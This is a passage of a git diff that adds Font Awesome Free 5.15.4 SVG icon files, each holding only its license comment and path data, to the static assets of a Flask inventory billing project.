viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pause.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pause.svg new file mode 100644 index 00000000..74ac840f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pause.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paw.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paw.svg new file mode 100644 index 00000000..da5bcc7b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/paw.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/peace.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/peace.svg new file mode 100644 index 00000000..1e499a52 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/peace.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-alt.svg new file mode 100644 index 00000000..3ea45c99 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-fancy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-fancy.svg new file mode 100644 index 00000000..01299bcc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-fancy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-nib.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-nib.svg new file mode 100644 index 00000000..41e2ea4a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-nib.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-square.svg new file mode 100644 index 00000000..61390423 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen.svg new file mode 100644 index 00000000..3014f2d7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pen.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pencil-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pencil-alt.svg new file mode 100644 index 00000000..da9c0bb4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pencil-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pencil-ruler.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pencil-ruler.svg new file mode 100644 index 00000000..2bd2c020 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pencil-ruler.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/people-arrows.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/people-arrows.svg new file mode 100644 index 00000000..90e3c3a9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/people-arrows.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/people-carry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/people-carry.svg new file mode 100644 index 00000000..9d8c33da --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/people-carry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pepper-hot.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pepper-hot.svg new file mode 100644 index 00000000..3a9f5f19 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/pepper-hot.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/percent.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/percent.svg new file mode 100644 index 00000000..1132ff4b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/percent.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/percentage.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/percentage.svg new file mode 100644 index 00000000..704a6a3d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/percentage.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/person-booth.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/person-booth.svg new file mode 100644 index 00000000..3855e0db --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/person-booth.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-alt.svg new file mode 100644 index 00000000..85e7f2fa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-slash.svg new file mode 100644 index 00000000..022cbac3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-square-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-square-alt.svg new file mode 100644 index 00000000..66a0af7c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-square-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-square.svg new file mode 100644 index 00000000..8bedfd48 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-volume.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-volume.svg new file mode 100644 index 00000000..60f30f99 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/phone-volume.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 